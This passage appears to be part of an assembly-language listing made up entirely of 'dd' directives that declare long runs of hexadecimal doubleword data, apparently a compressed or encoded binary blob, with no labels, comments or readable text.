		dd 6031E70Fh, 0D6D4006Bh, 79FC6ACh, 68B1527Fh, 900A97C9h
		dd 750BCB7Eh, 6B80D100h, 902D37D8h, 0B85000E6h,	477CE29Fh
		dd 3F72A4A3h, 4058AB00h, 252785A1h, 9F000C6h, 5F1CF405h
		dd 8F000F15h, 334E99A4h, 0EC859A23h, 0F36A0058h, 0CAA15AA9h
		dd 761E05F1h, 308A2B8Dh, 7C01BB3Ah, 0E0EFE378h,	0A2D0D6F5h
		dd 0A4EC64h, 0F692FF30h, 75023A07h, 0E2C64600h,	94D701EFh
		dd 0F83E0F17h, 7CC08483h, 0B6D44733h, 0BCA8E07h, 5E90148Dh
		dd 139629h, 0C9241C1Eh,	0FE0274B1h, 1ADC0900h, 0D280B8FFh
		dd 3B5E079h, 754F4304h,	7DD830D3h, 10017414h, 0C45B1FFh
		dd 0C03E3B08h, 0A689057Ah, 2EDDF400h, 44D12D1h,	341D0F65h
		dd 4700F78Ah, 0FD44F8A1h, 0A200D9E4h, 6590899Dh, 582E38h
		dd 0F02D704Fh, 10E9A151h, 0A2271801h, 74532F85h, 0BCD1D8h
		dd 0B9546A1Dh, 4C9CD4F3h, 90CB8B1Dh, 4717CDC0h,	1E8AEB5h
		dd 0F6B02BCFh, 20E6D655h, 0F0122C84h, 9CECC3FAh, 0D465007Eh
		dd 0C1E4ED15h, 0F7000316h, 0CE2B94BFh, 756247h,	12EC04B9h
		dd 0A7C82728h, 1114D3Ch, 2EDE2CD3h, 0C0D7A242h,	1EAED4A3h
		dd 8FCAA4E4h, 5A3DD69h,	0DCB87610h, 0D0018BD7h,	89DF6F62h
		dd 9220A270h, 107891h, 13A9D812h, 2C78F0CBh, 80060B00h
		dd 60E25C3Bh, 4BFEFEh, 0B57EB0DEh, 0E5BD2AECh, 154F1B00h
		dd 194558F4h, 927777h, 7FB7DD56h, 5E5F630Bh, 0F4716001h
		dd 91A5C438h, 875F0h, 0F24A5A33h, 44022717h, 41A4EF00h
		dd 69E95748h, 5FEC6Fh, 37814531h, 9453885Bh, 57018D7Ah
		dd 0E8719D0Dh, 46C847BFh, 17C800A0h, 5FC34287h,	34029CDDh
		dd 0F0C5FC91h, 2256C1AAh, 3812CCh, 72F77DA4h, 19681384h
		dd 0C174C600h, 505FC752h, 0A69F00BDh, 9D0F7386h, 2C000279h
		dd 34EC9632h, 64AF37h, 39C495C6h, 56B29EB3h, 0C585F71Fh
		dd 4DB86345h, 0C3EC58C0h, 0D31D003Fh, 0A632E606h, 0A094B17h
		dd 0CDE7B1h, 3A25A58Eh,	0E6AAEC29h, 93FA0044h, 0D01B9266h
		dd 5E01BB65h, 14B45026h, 2AD419F2h, 0C79F0987h,	0E60089A9h
		dd 0AF560574h, 316F839h, 9CB466ACh, 0D88CC364h,	758BDDh
		dd 4B937C2Fh, 6A24A058h, 7A820300h, 5AC773A4h, 0BA727Eh
		dd 27841D5h, 0C327116Ch
		dd 4B8E5901h, 0A6B01E5Fh, 40D2ECh, 7517496Fh, 227C3966h
		dd 0A39F4507h, 86202F71h, 0D94161h, 7BDB2529h, 676F881h
		dd 35A85500h, 75AE2638h, 0CB450093h, 1834EA74h,	232E04DFh
		dd 0AC034A08h, 0E88237EBh, 641AE2h, 0A6432101h,	9854B34Ah
		dd 0FC93B909h, 48815F69h, 0D4022D6Ah, 7D004DBEh, 0C59B05A4h
		dd 0B062A7h, 42BFC963h,	1C8F36A8h, 0FF96D100h, 0C4B8BC6Ah
		dd 124F1D5Bh, 9C5C044h,	2C464772h, 40703802h, 7D94C0AAh
		dd 0E8C0230Fh, 0FC9591DBh, 45F60A7Dh, 8D268F00h, 7AF2357Bh
		dd 1AD2052Fh, 0C0F007D3h, 0C2552B85h, 0F4D07800h, 1B3BC13h
		dd 100B002Eh, 0E881A64Ah, 910F2924h, 60F164A5h,	9F0D9669h
		dd 95840046h, 866A4BF6h, 0E8075414h, 302B75FCh,	0F0CBE693h
		dd 0E329BAh, 0AC2C164Ch, 0F55CF4E4h, 48FC2D01h,	5A59A165h
		dd 70A580F4h, 0A62107E2h, 436C14C4h, 35A94485h,	5F51E0DCh
		dd 92F46000h, 0C9311EFCh, 0CA090549h, 80405553h, 0C807302Dh
		dd 94E98800h, 0B6F2E06Ch, 667C08h, 0D806EBD1h, 35F00973h
		dd 83203E1Ch, 0B8F38100h, 0CEFEEDh, 31EB1C75h, 4FDA8EC1h
		dd 5BD5E100h, 0EF6CD2F7h, 0A5D0003Eh, 0AFA955C0h, 61004384h
		dd 97C447D4h, 0E8510E2h, 28BFEDA0h, 0EC41DA0Fh,	0F0A8E0D6h
		dd 0BBFC59ADh, 80F3A53Eh, 46712D63h, 7B849743h,	0FC1807B2h
		dd 518A1403h, 0C09DDF92h, 9EB0D368h, 0F8043Dh, 5DD0D45Fh
		dd 3CC60150h, 8980B0A2h, 85FC29B7h, 4DEE17A9h, 7B2CDC00h
		dd 5A241051h, 0E8010021h, 0B1ECDD4Fh, 93057102h, 52DF2347h
		dd 0F31617C0h, 4FAC0028h, 77E50FCCh, 3E002941h,	0C8099412h
		dd 1B1697h, 0F9A8072Dh,	7CD15A58h, 0F0564500h, 0BA51F6E6h
		dd 5B380160h, 0CE077948h, 0B146CCEBh, 10FE8300h, 0C1ECF1EDh
		dd 0DC95005Eh, 96D37224h, 0A800ABE2h, 67BD1E75h, 0E8D1ED2Bh
		dd 8CB000E6h, 70834FF8h, 7C0058FFh, 3C709EFh, 9160C0h
		dd 0A8A0048Ah, 3B94980Bh, 61114A00h, 51010244h,	0E3C10012h
		dd 88C33683h, 71174606h, 2800295Fh, 34B264ABh, 0A58B1DAEh
		dd 0E45200D2h, 92B2CB1h, 5CC45905h, 0C8016278h,	565B5A02h
		dd 7F89760h, 8BFC12AAh,	40C2B7F3h, 789E7908h, 0B1A96000h
		dd 985E58Eh, 0FE500134h, 4D8B42ACh, 0FD94DCDAh,	51E8AFF8h
		dd 7400197Bh, 49CF5C1Fh, 1D952044h, 8D1118h, 0CEEA2FA3h
		dd 0AB984556h, 58B02100h, 209EA967h, 2AF3007Eh,	2C29BC6Dh
		dd 0D8E89F57h, 0CA529C00h, 42A4968Fh, 0D575FFh,	0ABE8C3C1h
		dd 290C3292h, 0AF880807h, 0ACE0DB7Ah, 1CC21FCAh, 0C0E69443h
		dd 1C77CEEDh, 61E2BA6h,	814097AAh, 0E38D5426h, 5E280070h
		dd 0DCBC2C4Fh, 0F277C28Bh, 0B689E200h, 912F1CAAh, 834000E4h
		dd 64751EF8h, 0DE019A5Dh, 0E83120BBh, 646049A3h, 0B7241E79h
		dd 0A2A500A9h, 4659DE5Ch, 62B52900h, 2EA68A3Dh,	891A0010h
		dd 0AE1F783Bh, 0EF1E200Dh, 0A2405096h, 8B100E75h, 0A98D00FEh
		dd 7ADF1DEh, 6600A5F3h,	2D5B1E29h, 51AABDh, 0CBCC734Ch
		dd 0C9705CB8h, 0BD4E000h, 3F77FC45h, 29C400F5h,	7C27785Eh
		dd 4C0081A9h, 0B22B1ED9h, 3B8352C0h, 0BD0088DAh, 0B3ABFE59h
		dd 0B900D40Ah, 33B4A913h, 1420AAh, 5F90C3C9h, 0AF81EA92h
		dd 5108B900h, 0E97C805Eh, 126E001Fh, 7B74A9DDh,	500EB3Bh
		dd 570F01B5h, 0C282Ch, 92049EC8h, 0CCE40DC9h, 0EE063Ch
		dd 10D008D4h, 0F831FCh,	1DD87D89h, 59226421h, 0AC1F34F8h
		dd 0F60080E0h, 528AACBh, 0BCD400C8h, 0B3E81662h, 0BE002B24h
		dd 0D01EBA19h, 7E33D802h, 2C050049h, 0EB63D759h, 32002126h
		dd 0F21E6FCCh, 2C1CC851h, 8E0BF7h, 2331716Ah, 600159Bh
		dd 0E14CBA84h, 0D2CBFAh, 0CE2824Bh, 779808DAh, 9A0B2700h
		dd 3B42D6D3h, 9FB0ACh, 6759C2C8h, 5CD42630h, 9600DEFAh
		dd 1B88CCE8h, 0DC7EADh,	50E94151h, 0FBFE7DBh, 0BCDE6300h
		dd 440C70B1h, 94EF0361h, 0A82414E3h, 2010709Fh,	0AC0040B0h
		dd 39B481B8h, 0F85BC5h,	0B6BE24FCh, 0DC224972h,	20581D73h
		dd 0A4AD004Eh, 19FA1E82h, 0E00200B8h, 0B449DC3Bh, 0D2732D16h
		dd 36C5Ch, 71CF4691h, 28AC29h, 2EB6704Fh, 0BE18A867h, 9AC3B216h
		dd 6900911Fh, 22291646h, 24AD0164h, 0D81B996Fh,	0B6E0DE51h
		dd 505BAA8h, 64F9E3ECh,	0F195A50Ah, 54189107h, 8F200DBh
		dd 1FD84293h, 814EB914h, 89D2D0B2h, 0CC1C9E64h,	988603FDh
		dd 0C80A91D9h, 53AE5Bh,	175874DBh, 0EF0B4A4Eh, 0FF9CF018h
		dd 0EC7552h, 185F8068h,	0F4E363C1h, 0E02BA00h, 1E4E1077h
		dd 0E48C01AFh, 18A7F660h, 2030D914h, 0E1752A88h, 4C7C7175h
		dd 0FA80DC01h, 820643BAh, 8C68DCh, 0B33242Bh, 2CD247B9h
		dd 42621900h, 0C9DC21AEh, 0CED72673h, 0B2900085h, 430C967Bh
		dd 7D3C2D7Dh, 8010B977h, 22FFD392h, 0C08368h, 0F31FB078h
		dd 0CEDBF603h, 0BACF1B00h, 40AF3F13h, 87B600B2h, 0D7E7F40Bh
		dd 4C0092DFh, 11D46D0h,	0F87032h, 0F4F15DD5h, 0EC933C2h
		dd 0A9CAD200h, 29AF6A84h, 2A811238h, 0C3050102h, 0C9109E43h
		dd 8722703Fh, 0F5933Fh,	8F060F38h, 3BE30811h, 1680FA0Ah
		dd 0B4F845B7h, 3900EBC8h, 0BA9B6BE7h, 2ACB0Bh, 7CB091E6h
		dd 5C0E479Ch, 79535400h, 694C0901h, 31500062h, 736DC81Eh
		dd 0F3030C5Ah, 0FF2593CCh, 1D8BD856h, 0A953023Eh, 7D04BFD9h
		dd 95746240h, 75EFFB0Eh, 1A02610Ch, 81F59868h, 8BECF4h
		dd 0EB124DD3h, 0EECFF34Bh, 5F4A4800h, 0FC555280h, 25C13BB8h
		dd 934BE880h, 0D01603Ah, 9F761C00h, 45283EE9h, 0A9440006h
		dd 2714914Fh, 2500F823h, 0E5EA6BABh, 7421396h, 124756DBh
		dd 6CD18053h, 78001B76h, 9CB9A1C2h, 28D745h, 954E4F1Fh
		dd 0AC841D68h, 2299A200h, 0DFE68B71h, 903A7896h, 645C00D7h
		dd 0D98F04ECh, 51007509h, 0FCF01440h, 0ECEBB2E4h, 8C5B015Fh
		dd 8464BDFh, 63DECE6h, 4253B00h, 0DB19C1D0h, 0EC0200EBh
		dd 78B9F6FFh, 2D000DF7h, 2CC4F43Ah, 0B89DAAh, 3358DD7Bh
		dd 20BEC529h, 624CB207h, 145013E6h, 35BE82Dh, 8DB86104h
		dd 80EDAD2Fh, 6890DD1h,	4938F800h, 5328BAC6h, 0CB150A91h
		dd 0AC318Bh, 3FB833Fh, 0C006076h, 9BE848D2h, 24C518h, 9C098940h
		dd 0B01F0456h, 7E2B1425h, 9A8D00CDh, 0BA1A8626h, 0E6313800h
		dd 0F4C2CA93h, 82240394h, 29B2F972h, 0AF051B0h,	26DB2200h
		dd 9317E83h, 0F22B3D74h, 0A54E7980h, 9B20B425h,	874F987Fh
		dd 1A2C4DBCh, 0A9C70040h, 91DC45C9h, 804D073Bh,	8A032D2h
		dd 7C701094h, 0E4A82C5Ch, 85E80085h, 38BFB2B0h,	5F8BA400h
		dd 14AFB7D6h, 98C800BAh, 85903B8Ah, 0FF002175h,	66FF9BCh
		dd 4C4E1E96h, 61008BDEh, 122BC667h, 0E8FBF687h,	9F3C1043h
		dd 0B2B78B55h, 0A08F006Fh, 29EAA5h, 0C4363240h,	212DB350h
		dd 0C671F39h, 0E2E165Ah, 22F86Ch, 0D23CD34Eh, 0B8F84883h
		dd 0A1B301Ch, 90167343h, 0B40CD8C5h, 0B2440013h, 573ED36Eh
		dd 0F00F6A5Ah, 2019BD4Ah, 43E0C8E8h, 12532E4Ch,	295C0097h
		dd 73D06630h, 2C03B3F0h, 2116D3A2h, 545B8D8h, 0FFDD00D2h
		dd 0C743759Ch, 0A90E1048h, 0AF490F26h, 5C6E05ADh, 0AC0C0680h
		dd 7C477574h, 9251EE4h,	37B30FB9h, 0C26308A7h, 8940A2D6h
		dd 0FAF2A4ACh, 2F3E2CFEh, 0BACF3976h, 0E08480A8h, 0B5165CB3h
		dd 63210069h, 0ECFC6579h, 9400478Dh, 542DF450h,	7F5ABAF0h
		dd 65B60026h, 0D04351BFh, 0C6000AB2h, 2B610B8Bh, 0E1B510h
		dd 559D8A6h, 0E6A8C4Ah,	0B7D49C00h, 0BCCDA06Bh,	7AC40E11h
		dd 9A6FA3B5h, 70F1DBC7h, 6EC2AA1Bh, 7D549D00h, 83DE9ECFh
		dd 4D7B00E2h, 5290E3C8h, 88042345h, 0EC44B581h,	394F73C0h
		dd 0E483902Ch, 0FEC400B0h, 53859586h, 0B3D199Dh, 8492D00Ch
		dd 0B85D3207h, 89C9B412h, 26AA00FAh, 82EFF4h, 51CE7D8Dh
		dd 0FDC39257h, 6642411Eh, 21F34C47h, 387EBC7Ch,	0BF00493Eh
		dd 19EBE8D2h, 0A800C3BEh, 0B48EA30Eh, 9E2FACh, 1DA6759Fh
		dd 42485536h, 62034BF8h, 0D89B545h, 44A9D06Dh, 0A5CE0191h
		dd 22D725BFh, 0B8AFC47h, 0AC644A00h, 0F819F669h, 0A829001Ah
		dd 0DF54E20h, 7BB8BA2Ch, 3F6051ECh, 0BE80D616h,	105E0BB9h
		dd 28808875h, 0CCAB85FBh, 0D6502607h, 0E71FE031h, 558044BEh
		dd 3E25D2F4h, 74047864h, 0C0A040FBh, 0F02E13D3h, 0D8482AE8h
		dd 48CD0076h, 9559B745h, 0E2050078h, 0C1BAD5B8h, 5400F8DCh
		dd 0E18ED34Ah, 2EC4694Bh, 0C19062h, 88792B52h, 650078BFh
		dd 80C1B0B7h, 107EBh, 3A740472h, 7D956E67h, 755CE9F8h
		dd 1451006Ch, 9EE325Dh,	0E590028Ah, 4DD78970h, 0BE81D489h
		dd 0D804B84Fh, 1E00FDA2h, 0A1383652h, 20E6305h,	1D451723h
		dd 0DA401929h, 92FE8048h, 0F104741Dh, 0FDA5E7C0h, 7CDE4F4h
		dd 0F00693FAh, 0B92F9061h, 0BB00793Fh, 4A97892Bh, 1835B59h
		dd 8E1CC778h, 700AFB45h, 0C90013BBh, 4B7E0D0h, 2659FA5Fh
		dd 0DE010Dh, 0E7557C8Ah, 0E8074284h, 5319A76Bh,	0FF046FE0h
		dd 57933E8Eh, 0C85A1A00h, 8FB083FEh, 0A7E2F03h,	9880E10Fh
		dd 0F94594h, 15086EEBh,	81C49610h, 67D38600h, 0A528F895h
		dd 0C5AD1F41h, 0FE830001h, 0FC457E02h, 0B000998h, 3E7DF03Bh
		dd 0FA4178h, 0B838147Fh, 48A08203h, 0D4287528h,	2421F800h
		dd 0B1541A22h, 102EC84h, 0AFFB672Dh, 60DC68C2h,	0F4CF45Dh
		dd 80553EADh, 0B9368BC5h, 3CD20873h, 0B897304Ah, 0EE8800A7h
		dd 0E4C16D7h, 616C4300h, 1C8E3373h, 0C8460048h,	0ACA754D9h
		dd 0F03E8B0Ah, 347D80CAh, 24B50CE2h, 0B8A20F44h, 0B9C0233Eh
		dd 847252A4h, 0F414D005h, 2EC003F9h, 1326FE9h, 36FFC327h
		dd 30E025E2h, 5C484A69h, 7CBC000Fh, 0A72B20D1h,	99D4004Ch
		dd 6BBAAAC4h, 0E4E5E749h, 0C6F40FB2h, 0DDCAEF01h, 0CC563334h
		dd 1845CE8h, 0DC60FC27h, 0F42D4628h, 0BE4A2FFh,	88008398h
		dd 3B633169h, 7FC99E21h, 0F9E5000Ah, 4E47C14Bh,	0DB98DB75h
		dd 0A95B1207h, 0CCD0CF69h, 0E8BAB113h, 95030097h, 20F1407Bh
		dd 2300DC4Fh, 12C0262Eh, 0E738EDD4h, 36C85E8h, 0F575A8BBh
		dd 0BE88A9B0h, 7276CF3Eh, 0D68A4200h, 0C8F8910Eh, 8D8E00DAh
		dd 7DD2DC70h, 0D77B86F2h, 4DCB30EBh, 3E73E700h,	1B094892h
		dd 0D67B16h, 0BEB5205Fh, 6F67699Dh, 2F652500h, 7BBB7389h
		dd 997200B6h, 622ED8ACh, 5C00F814h, 2DDAC408h, 7FF5BD48h
		dd 0AF250085h, 0A5134D98h, 4C0EC6B7h, 0AEA4772Fh, 1174A03Dh
		dd 0B239CBh, 0EB057D0Bh, 0FF35EFAAh, 4831B800h,	84D4295Dh
		dd 34FC0064h, 62B995EDh, 0A800CBF8h, 0D88831FFh, 0E4870803h
		dd 4498004Ah, 0F2750F45h, 0C40043A3h, 528EBCF0h, 7FB58B5Fh
		dd 4D85006Bh, 4EB8BD7Bh, 22606CBh, 7500DB83h, 49975E77h
		dd 50032429h, 94C60329h, 0CEFBECC3h, 0FC7B0A00h, 0ED45AA09h
		dd 64407A7h, 906A1863h,	86D89A3Bh, 10AE7B00h, 2474DC2Fh
		dd 1D1707D9h, 0FE201319h, 575AA00h, 0AE000AC5h,	5EEEE674h
		dd 3F105CB0h, 34818ACCh, 0BA169DF8h, 0BC59C0BEh, 0E484261Eh
		dd 5B008B1Dh, 438AC268h, 0F88807BDh, 5728D152h,	42D480A4h
		dd 1C002521h, 890F0C4Eh, 533F43h, 8FB64B8Eh, 0BD91C52Eh
		dd 0AD3AB200h, 0CEE9143Ch, 66D6001Ah, 5161DA4Bh, 1FA109Dh
		dd 0BEFC8A07h, 85308F58h, 79A8D9ECh, 5F72014Eh,	3DE45570h
		dd 79F0F430h, 3F538B01h, 0D0CFCC9Ch, 0D37330h, 68F810D9h
		dd 21BE42B8h, 0D611EC00h, 0F49061DFh, 0ABF300E5h, 0FA649793h
		dd 0AE7637F5h, 0D3742000h, 4E030688h, 63C817ACh, 43030004h
		dd 79FA013Eh, 575D9600h, 0CA974E39h, 0E0C7007Ch, 9E14998Bh
		dd 5E0080BEh, 0F1E95C9Ch, 79413F4h, 16DF95E3h, 824485DAh
		dd 20614BECh, 7C8DE00Dh, 1D4C2005h, 78C749B8h, 6307C2F0h
		dd 6240F8Bh, 0C5D404BAh, 0DABF3000h, 8DFB0228h,	0C540EBA0h
		dd 8A998100h, 0C2935E50h, 25EA3A6Ch, 0D530B700h, 0CAC0237Ch
		dd 25F74Ch, 0F64C9B90h,	0B00507h, 0AFECE901h, 0D854DF4Dh
		dd 0B72D8800h, 0EF3364AEh, 35D01A0h, 9EEDF49Dh,	283C3043h
		dd 48080400h, 200C112Ch, 10440114h, 66D38318h, 0EF0AEC3Ah
		dd 0EB851200h, 0F0335346h, 811E006Eh, 2E3A4D09h, 2A007586h
		dd 144642A4h, 12711821h, 0FC7AB5C7h, 0AB770029h, 4163094Ch
		dd 0B642039Ch, 747B7540h, 66B8DCF3h, 0C300DF29h, 2CBED669h
		dd 39B467E3h, 721B5348h, 44E81EA2h, 8013BF7Bh, 0B700E99Fh
		dd 45DD2609h, 600400F3h, 50520717h, 0AE8E2ADh, 0E8813B1Fh
		dd 0DA097540h, 5A9780h,	7B517358h, 7D0CC5EBh, 257A4B00h
		dd 0B5A81221h, 0B44A00D4h, 0B3F7949Dh, 8F00BB98h, 51057724h
		dd 49BAFFh, 88B04876h, 427A92A2h, 0BF01EA07h, 7570E579h
		dd 47C589h, 0F441A74Ch,	0DC867FDBh, 0DB80600h, 0CFA4D27h
		dd 0FE88002Bh, 0F0FBE82Dh, 0F33E9752h, 0F4007FDEh, 13B2F628h
		dd 306614A9h, 602AE89Dh, 32037273h, 85FC15C8h, 610AC0F6h
		dd 1E760314h, 0F421FA12h, 0E05816D1h, 0C004277h, 0A771AE9Eh
		dd 0B05259DCh, 0F24C00D5h, 8B518968h, 7C00C53Ah, 45491926h
		dd 1602546h, 4CBAC38Ch,	0DCB49535h, 0F7F420F8h,	4301200h
		dd 16344828h, 1F722Ch, 93FC4978h, 9A2F58A0h, 0E50011Ch
		dd 13C93840h, 3D907F10h, 0C03E53EDh, 3B46F200h,	0C4972CEh
		dd 1220E002h, 0E00161C3h, 72BE1B3h, 53449FD0h, 86260E8h
		dd 5AC07473h, 0FA9DD29h, 0D5800714h, 0A0240BC9h, 4519127Bh
		dd 5A588402h, 0E046A00Dh, 23F1FDh, 76EB3B32h, 0C409FAEh
		dd 101DC3ECh, 7CC0C62Bh, 7B80287Dh, 75242789h, 0E400395Ch
		dd 98BE742Ch, 0E2F5980Dh, 0C7493h, 0C3401D16h, 0E00355A8h
		dd 840F9E00h, 0CE3285BCh, 1404000Ch, 18151048h,	0B975A775h
		dd 7208F600h, 277C432Dh, 28393A29h, 0BF1C4412h,	8A0EAA01h
		dd 1EE4957Dh, 0CB42004Ah, 1CAEA9F6h, 5E079849h,	8A215350h
		dd 0D45BCFF0h, 0A02A3969h, 4A61804h, 0B100EA42h, 0E790B0C3h
		dd 0A51D0075h, 74349119h, 3B002B85h, 47763196h,	0CB92Ch
		dd 97AF2F1h, 0F31CC624h, 8806BB1Dh, 7542AF00h, 0F9CEC937h
		dd 83C6DAC3h, 7ABD32A2h, 339000B6h, 681574C5h, 0C8480C2Bh
		dd 76193C00h, 8B0FC0FBh, 1DA6CE00h, 0AFB13B25h,	0C3EA004Ch
		dd 0C0C8E985h, 0E8FDDA68h, 0CAC018CEh, 0F0141BAEh, 810B00A6h
		dd 0F73002B0h, 71009735h, 88930839h, 2E03117h, 0EA1052Bh
		dd 14409601h, 0E11EA4A8h, 4AA6C44Eh, 75027600h,	24B82Fh
		dd 0FA4CFD63h, 930447B5h, 27F22000h, 21AF7819h,	1C080037h
		dd 0E5365D8Ah, 0C4005523h, 2D839040h, 6E9F18h, 8568A120h
		dd 512C250Fh, 8CE2A803h, 0C01015C4h, 1D08F9D7h,	0CFBFF4h
		dd 0F7B0A16Eh, 75078268h, 972CB815h, 9167AB30h,	96B438F3h
		dd 3043D001h, 0F4C54C16h, 6400EC7Eh, 0EF560441h, 7102C7Fh
		dd 6032C824h, 68C0DE09h
		dd 70916C48h, 54770271h, 0BDB0901Fh, 22C81FBDh,	15E2E100h
		dd 2CF0CC2h, 4409F806h,	0D7C0086Ch, 313F744Ch, 32D08303h
		dd 0EB3FC618h, 64C4A030h, 0FA88E66Fh, 80330031h, 0FD98C81Fh
		dd 0FCE5FA10h, 0E8FAC1D9h, 1EF7620Fh, 22C780DCh, 6E342174h
		dd 0B8010C6h, 0A478B341h, 5000307Bh, 0C81EF9C7h, 1089264h
		dd 0E4CCA02Fh, 0E0D3ECC1h, 0CE20431h, 0DC109400h, 5FC86070h
		dd 524F1F58h, 7836C026h, 0EC6CBC95h, 4EEE4B0h, 80EF1B0h
		dd 20118F0Ch, 0A052431Ch, 0E06B25EDh, 64132BFEh, 54B07F01h
		dd 0A02F8625h, 0A12C252h, 35030FC3h, 85E36798h,	0E8F980AFh
		dd 0EB003AF9h, 1C8B0104h, 4CFB8688h, 6F486EC1h,	8A058902h
		dd 0BDE07549h, 44073848h, 3B431513h, 17CB0F30h,	9DF50120h
		dd 0FA5F7442h, 5DD82046h, 0FDC64A00h, 13BC4F03h, 7406003Bh
		dd 33D0FCF3h, 5800C909h, 67E47BE8h, 98E28025h, 0DB2000D9h
		dd 0F1844E1Bh, 17039A7Eh, 9CEA6523h, 0CBBCC85Fh, 988E000Dh
		dd 0B5FB0444h, 96002B84h, 487107BDh, 7B5806A0h,	7021004Ch
		dd 54400F50h, 2301FEE3h, 0F7EBE8FBh, 3D5ECD5h, 75045F60h
		dd 0E0CF003Ah, 0EDE7C1F9h, 0C700E9CCh, 8DF5C378h, 2523FB18h
		dd 1250EC0Ch, 0BEE2418h, 1047AD4h, 0F8F5C7CDh, 0D8073A9Ch
		dd 0C302E0E8h, 0F918588Fh, 0D952C023h, 8AFA1C9h, 3CF7E6C4h
		dd 0DF0394DBh, 0FF15EE33h, 2EF82F22h, 0E45ADF3h, 3E07A01h
		dd 3A96B3DFh, 0EB981307h, 0DA900B0Dh, 1F437329h, 802BB61Bh
		dd 3B887410h, 200758C4h, 14428C8Fh, 2C915477h, 23E8463Dh
		dd 72510118h, 741CAF94h, 2089E8F8h, 0BE210B3Ch,	687702C4h
		dd 0F70EC859h, 0A8289300h, 2C0489E6h, 0B703841Ah, 0F8589383h
		dd 0EE8885C5h, 34C40790h, 0AE423C2Ch, 622025CFh, 5A193538h
		dd 4A14AF7Ch, 0BB6CF74h, 83FD0CA5h, 80A89195h, 0C5812Ah
		dd 5A827999h, 7FAE037Ah, 0CCA24200h, 369D86EEh,	0C8C00B7h
		dd 576AF8CDh, 53012910h, 4205208Bh, 5460CAC9h, 52C63F1Bh
		dd 0CCE90C00h, 29206A15h, 0C897D40Fh, 0B0178709h, 0DDA905D1h
		dd 320B8CD0h, 30500DA3h, 20EF0Eh, 2E841343h, 342200A6h
		dd 46A2F82h, 8800A495h,	4178C646h, 91085B8h, 436DAC14h
		dd 0A16A1787h, 2AB47023h, 0A9ED6FB1h, 2E80A745h, 0F286D2E8h
		dd 59FCF3D8h, 11A7EEAh,	2B1864E5h, 30C3113Ch, 2330B9CFh
		dd 0F4284214h, 0AA4D3B21h, 44A45309h, 76D200F7h, 0F87C84A7h
		dd 56A80027h, 0E2C78E21h, 1401B989h, 0B5B21C42h, 22D04334h
		dd 64B0B8h, 0EC1BF1A2h,	831F3C32h, 0C7813A07h, 6E10D9A1h
		dd 0B533FE9Dh, 0BA029482h, 279955E0h, 58C84200h, 601F5389h
		dd 4FE91F3Ah, 8FAEC3ABh, 22960940h, 1C5C20h, 0A56CE907h
		dd 67B88D34h, 14D60818h, 3E02D31Ah, 0E987ABF0h,	800F7BB1h
		dd 94E21A11h, 437C9C00h, 0C4A3887Eh, 0CB381F28h, 64BCDE8Dh
		dd 0EE80751h, 750B0C8h,	0F39087ACh, 8BFA683Ah, 0FC91F08h
		dd 4347E700h, 275FC4F7h, 21171432h, 34D1A6D0h, 5A83EC0Ah
		dd 767AC0D9h, 9B12B2BBh, 6D002C31h, 62B444C3h, 4314001Ch
		dd 4152A2E0h, 5100C2E9h, 0FF33F81Fh, 3F990h, 52EE5D7h
		dd 5EE2C189h, 527C4Ch, 12414B4h, 348504Ah, 4C425A06h, 84C37210h
		dd 0B3EF54B0h, 0B8278000h, 78DA756Ah, 0FB482EE4h, 0C08A1EC1h
		dd 19BC4BE0h, 96004022h, 0F0C747D8h, 230148h, 0E676045h
		dd 0CDAB894Ch, 50EF4000h, 0BADCFE08h, 0E54FA98h, 10324476h
		dd 0E1F05800h, 8100C3D2h, 22EEEF5Ch, 3600EC0h, 0FEDCBA98h
		dd 10E06480h, 8901ABCDh, 45676802h, 6CC00123h, 2D1E000Fh
		dd 0C0333C12h, 9300ACE1h, 0B6EC53D9h, 7C5BC66Eh, 3FE03B18h
		dd 3440702h, 7E08008h, 7E0038F8h, 2B6FA81Eh, 18D6BD0h
		dd 0E633F525h, 0F4D553DBh, 1A007E29h, 761451FFh, 311E95h
		dd 0FAE0C183h, 0D82F707Fh, 800CB338h, 146C6BDFh, 0EA9AAC55h
		dd 8BFC40h, 0DD8192C4h,	7245618Ah, 95D5BE00h, 552DD3FEh
		dd 0D9340019h, 7B816A09h, 0ED28777Eh, 0E503A96Eh, 5E76013Fh
		dd 3520D7FAh, 7B74BF54h, 0DF3B07FDh, 0A08D107Dh, 28BD3F2Eh
		dd 80CB2A3Bh, 0AE4FEB24h, 24A91229h, 3B51064h, 0DF2B8DC6h
		dd 283CFCD8h, 0DDE6D41Ch, 0E803C000h, 141BBD9h,	62C2BD7Ch
		dd 20831D98h, 0EB00EAB3h, 8CFB069Dh, 4DEC7Dh, 6FC56A03h
		dd 67FF6951h, 0BDA71801h, 86B62C14h, 0E46A1670h, 0E4E80009h
		dd 44A224AEh, 3105BDBAh, 0CBDB0107h, 0F9FBB080h, 0E16600FAh
		dd 85B75639h, 0AF005DE8h, 0B2BD334h, 48CAB4h, 0F93C0C20h
		dd 0F3E97CCBh, 808CF503h, 0F07013DBh, 692124h, 4C33A91Ch
		dd 0F101188h, 0F87C7E0Fh, 7DAB40FDh, 0BDCE17h, 0A9F047C1h
		dd 234E9C24h, 4BE2600h,	81664CCh, 30F070Ah, 0B3AE9FFEh
		dd 7CC0AF60h, 8C02A1F5h, 4610DE70h, 6714C1BEh, 147870h
		dd 87C62A01h, 52F13547h, 34978C00h, 90CC8523h, 13040018h
		dd 27A83046h, 40077E58h, 9510011Ch, 0D921FDB0h,	0BCAF0390h
		dd 98D88020h, 4369080Fh, 0C4D2C0FCh, 0FC2428F3h, 7AF701AFh
		dd 0B0E48C44h, 0CDE49D87h, 0B10387BFh, 83DBFF5Bh, 0F00FAAD8h
		dd 24BE022Ch, 1E905CD7h, 3B10C065h, 30C485BFh, 11220107h
		dd 88506B90h, 7F5E08B0h, 1C7FFC42h, 3472CDh, 0FD987193h
		dd 0AF07468Ch, 38519D88h, 79438E00h, 21A60742h,	0B3CF9C0h
		dd 7BB40601h, 0F1E9E849h, 0F2C2BE0Eh, 25620004h, 0A8F61Eh
		dd 4518E869h, 58C4CB1h,	0CE0D8007h, 40BE408Eh, 0C050B372h
		dd 43290069h, 0A1785CB1h, 5D1CCE2Ch, 5100E68Ch,	0DD265E5Ah
		dd 0AB5539D2h, 30147681h, 608C04C0h, 120011F0h,	0AA984ED3h
		dd 4CE9B640h, 9600D7D2h, 97801DCFh, 0FB017204h,	290C0514h
		dd 5DC0F28Bh, 0D62F3010h, 9888A3E8h, 285138h, 42441453h
		dd 0BB42302h, 5729B7C4h, 0A1E66601h, 99E5F0D8h,	0BBB8B00h
